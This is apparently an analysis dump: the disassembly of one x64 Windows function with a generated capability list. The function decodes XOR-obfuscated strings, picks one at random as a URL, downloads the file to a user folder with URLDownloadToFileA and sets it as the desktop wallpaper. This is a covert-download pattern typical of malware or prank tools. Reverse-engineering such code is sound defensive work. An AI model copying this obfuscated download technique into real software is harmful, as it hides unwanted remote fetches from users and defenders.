Function at 0x140022990
Capabilities:
Change the wallpaper
Download url
Encode data using xor
Generate random numbers using a mersenne twister
Get common file path
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1630]
mov eax, 0x1730
call fcn.140175b70
sub rsp, rax
movaps xmmword [rsp + 0x1720], xmm6
movaps xmmword [rsp + 0x1710], xmm7
movaps xmmword [rsp + 0x1700], xmm8
movaps xmmword [rsp + 0x16f0], xmm9
movaps xmmword [rsp + 0x16e0], xmm10
mov rax, qword [0x1401f6080]
xor rax, rsp
mov qword [rbp + 0x15d0], rax
xor r12d, r12d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rax
movups xmm1, xmmword [0x140194090]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x1401940a0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1401940b0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1401940c0]
movups xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [0x1401940d0]
movsd qword [rbp - 0x80], xmm0
mov eax, dword [0x1401940d8]
mov dword [rbp - 0x78], eax
movzx eax, byte [0x1401940dc]
mov byte [rbp - 0x74], al
mov r8d, r12d
movdqa xmm8, xmmword [0x1401d7f20]
movdqa xmm7, xmmword [0x1401d7fc0]
movdqa xmm9, xmmword [0x1401d7ec0]
movdqa xmm6, xmmword [0x1401d8350]
movdqa xmm10, xmmword [0x1401d7e10]
mov r15d, dword [reloc.WS2_32.dll_accept]
cmp r15d, 2
jl 0x140022ba6
movdqa xmmword [rbp + 0x90], xmm7
lea rcx, [rsp + 0x44]
mov edx, dword [rbp + 0x90]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140022ab1
cmp r8d, 0x4d
jge 0x140022bf3
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4d
jl 0x140022bc0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea rax, [rsp + 0x40]
mov r14, 0xffffffffffffffff
mov r8, r14
inc r8
cmp byte [rax + r8], r12b
jne 0x140022c11
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x30]
call fcn.1400256b0
nop
movups xmm0, xmmword [0x140194050]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x140194060]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x140194070]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x140194080]
mov dword [rsp + 0x70], eax
movzx eax, byte [0x140194084]
mov byte [rsp + 0x74], al
mov r8d, r12d
cmp r15d, 2
jl 0x140022d85
movdqa xmmword [rbp + 0x90], xmm7
lea rcx, [rsp + 0x44]
mov edx, dword [rbp + 0x90]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140022c90
cmp r8d, 0x35
jge 0x140022dc3
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140022d90
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
lea rax, [rsp + 0x40]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140022de0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x10]
call fcn.1400256b0
nop
movups xmm0, xmmword [0x140194000]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x140194010]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x140194020]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140194030]
movups xmmword [rsp + 0x70], xmm1
movsd xmm0, qword [0x140194040]
movsd qword [rbp - 0x80], xmm0
movzx eax, byte [0x140194048]
mov byte [rbp - 0x78], al
mov r8d, r12d
cmp r15d, 2
jl 0x140022f55
movdqa xmmword [rbp + 0x90], xmm7
lea rcx, [rsp + 0x44]
mov edx, dword [rbp + 0x90]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140022e60
cmp r8d, 0x49
jge 0x140022f93
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x49
jl 0x140022f60
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
lea rax, [rsp + 0x40]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140022fb0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x10]
call fcn.1400256b0
nop
movups xmm0, xmmword [0x140193ec0]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x140193ed0]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x140193ee0]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140193ef0]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x140193f00]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x140193f10]
movups xmmword [rbp - 0x70], xmm1
mov eax, dword [0x140193f20]
mov dword [rbp - 0x60], eax
movzx eax, word [0x140193f24]
mov word [rbp - 0x5c], ax
movzx eax, byte [0x140193f26]
mov byte [rbp - 0x5a], al
mov r8d, r12d
cmp r15d, 2
jl 0x140023145
movdqa xmmword [rbp + 0x90], xmm7
lea rcx, [rsp + 0x44]
mov edx, dword [rbp + 0x90]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x140023050
cmp r8d, 0x67
jge 0x140023183
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x67
jl 0x140023150
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
lea rax, [rsp + 0x40]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400231a0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x30]
call fcn.1400256b0
nop
movups xmm0, xmmword [str.ABGK]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1401940f0]
movups xmmword [rsp + 0x50], xmm1
movsd xmm0, qword [0x140194100]
movsd qword [rsp + 0x60], xmm0
movzx eax, word [0x140194108]
mov word [rsp + 0x68], ax
movzx eax, byte [0x14019410a]
mov byte [rsp + 0x6a], al
mov r8d, r12d
cmp r15d, 2
jl 0x140023315
movdqa xmmword [rbp + 0x90], xmm7
lea rcx, [rsp + 0x44]
mov edx, dword [rbp + 0x90]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140023220
cmp r8d, 0x2b
jge 0x140023353
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140023320
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x60], xmm1
lea rax, [rsp + 0x40]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140023370
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.1400256b0
nop
movups xmm0, xmmword [0x140193f90]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x140193fa0]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x140193fb0]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140193fc0]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x140193fd0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x140193fe0]
movups xmmword [rbp - 0x70], xmm1
movzx eax, byte [0x140193ff0]
mov byte [rbp - 0x60], al
mov r8d, r12d
cmp r15d, 2
jl 0x1400234f5
movdqa xmmword [rbp + 0x90], xmm7
lea rcx, [rsp + 0x44]
mov edx, dword [rbp + 0x90]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x140023400
cmp r8d, 0x61
jge 0x140023533
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x61
jl 0x140023500
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
lea rax, [rsp + 0x40]
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140023550
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x70]
call fcn.1400256b0
nop
lea rax, [rbp - 0x30]
mov qword [rbp + 0x90], rax
lea rax, [rbp + 0x90]
mov qword [rbp + 0x98], rax
movaps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm0
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0xf0]
call fcn.140024e90
nop
lea r9, [fcn.140024fd0]
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov r8d, 6
lea rcx, [rbp - 0x30]
call fcn.14017515c
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x14b4], 0xffffffff
mov dword [rbp + 0x134], eax
mov edx, 1
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x134], eax
inc rdx
cmp rdx, 0x270
jb 0x1400235e0
mov dword [rbp + 0x130], 0x270
mov rax, qword [rbp + 0xf8]
mov rsi, qword [rbp + 0xf0]
sub rax, rsi
sar rax, 5
dec eax
mov ebx, 0x80000000
xor eax, ebx
lea rcx, [rbp + 0x130]
cmp eax, 0x7fffffff
jne 0x140023641
call fcn.1400263b0
mov ecx, eax
jmp 0x14002368f
lea ebx, [rax - 0x7fffffff]
call fcn.1400263b0
mov edi, ebx
mov ecx, eax
imul rcx, rdi
cmp ecx, ebx
jae 0x140023686
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x140023686
nop word [rax + rax]
lea rcx, [rbp + 0x130]
call fcn.1400263b0
mov ecx, eax
imul rcx, rdi
cmp ecx, ebx
jb 0x140023670
shr rcx, 0x20
mov ebx, 0x80000000
lea eax, [rcx - 0x80000000]
movsxd rdx, eax
xor rdx, 0xffffffff80000000
shl rdx, 5
add rdx, rsi
lea rcx, [rbp + 0x108]
call fcn.140025020
nop
movups xmm0, xmmword [str.uwus]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x140193f60]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x140193f70]
movups xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [0x140193f80]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140193f88]
mov dword [rsp + 0x78], eax
movzx eax, word [0x140193f8c]
mov word [rsp + 0x7c], ax
movzx eax, byte [0x140193f8e]
mov byte [rsp + 0x7e], al
mov r8d, r12d
cmp r15d, 2
jl 0x140023825
movdqa xmmword [rbp + 0x90], xmm7
lea rcx, [rsp + 0x44]
mov edx, dword [rbp + 0x90]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140023730
cmp r8d, 0x3f
jge 0x140023863
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3f
jl 0x140023830
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r12
lea rax, [rsp + 0x40]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140023883
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x90]
call fcn.1400256b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov rsi, r12
mov qword [rbp + 0xc0], r12
mov r15d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xc8], r15
mov byte [rbp + 0xb0], sil
mov r13d, dword [rbp + 0xa0]
dec r13d
xor r13d, ebx
mov r12d, 0xa
nop word [rax + rax]
lea rcx, [rbp + 0x130]
cmp r13d, 0x7fffffff
jne 0x1400238f9
call fcn.1400263b0
mov ecx, eax
jmp 0x14002393f
lea ebx, [r13 - 0x7fffffff]
call fcn.1400263b0
mov edi, ebx
mov ecx, eax
imul rcx, rdi
cmp ecx, ebx
jae 0x140023936
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x140023936
nop
lea rcx, [rbp + 0x130]
call fcn.1400263b0
mov ecx, eax
imul rcx, rdi
cmp ecx, ebx
jb 0x140023920
shr rcx, 0x20
mov ebx, 0x80000000
lea eax, [rcx + rbx]
xor eax, ebx
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
cdqe
movzx r9d, byte [rax + rcx]
cmp rsi, r15
jae 0x140023990
lea rax, [rsi + 1]
mov qword [rbp + 0xc0], rax
lea rax, [rbp + 0xb0]
cmp r15, 0xf
cmova rax, qword [rbp + 0xb0]
mov byte [rax + rsi], r9b
mov byte [rax + rsi + 1], 0
jmp 0x14002399c
lea rcx, [rbp + 0xb0]
call fcn.1400257f0
sub r12, 1
je 0x1400239b5
mov r15, qword [rbp + 0xc8]
mov rsi, qword [rbp + 0xc0]
jmp 0x1400238e0
mov eax, dword [0x140193ddc]
mov dword [rsp + 0x30], eax
movzx eax, byte [0x140193de0]
mov byte [rsp + 0x30], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x31], 0x35
xor byte [rsp + 0x32], 0x36
xor byte [rsp + 0x33], 0x37
xor al, 0x38
mov byte [rsp + 0x34], al
lea rax, [rsp + 0x30]
mov r8, r14
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400239f0
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0xb0]
call fcn.140025310
lea rax, [rbp + 0x14c0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x140023ba0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea rax, [rbp + 0x14c0]
nop word [rax + rax]
inc r14
cmp byte [rax + r14], 0
jne 0x140023a50
mov r8, r14
lea rdx, [rbp + 0x14c0]
lea rcx, [rsp + 0x40]
call fcn.1400256b0
nop
mov r8d, 1
lea rdx, [0x140193d5c]
lea rcx, [rsp + 0x40]
call fcn.140025310
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], bl
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp - 0x50]
call fcn.140025310
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], bl
lea rcx, [rbp - 0x50]
call fcn.1400252b0
nop
lea rcx, [rsp + 0x40]
call fcn.1400252b0
lea r8, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova r8, qword [rbp + 0xd0]
lea rdx, [rbp + 0x108]
cmp qword [rbp + 0x120], 0xf
cmova rdx, qword [rbp + 0x108]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x140023b93
lea r8, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova r8, qword [rbp + 0xd0]
xor edx, edx
mov ecx, reloc.WS2_32.dll_sendto
mov r9d, 3
call qword [sym.imp.USER32.dll_SystemParametersInfoA]
lea rcx, [rbp + 0xd0]
call fcn.1400252b0
nop
lea rcx, [rbp + 0xb0]
call fcn.1400252b0
nop
lea rcx, [rbp + 0x90]
call fcn.1400252b0
nop
lea rcx, [rbp + 0x108]
call fcn.1400252b0
nop
lea rcx, [rbp + 0xf0]
call fcn.140025140
mov rcx, qword [rbp + 0x15d0]
xor rcx, rsp
call fcn.140175100
lea r11, [rsp + 0x1730]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret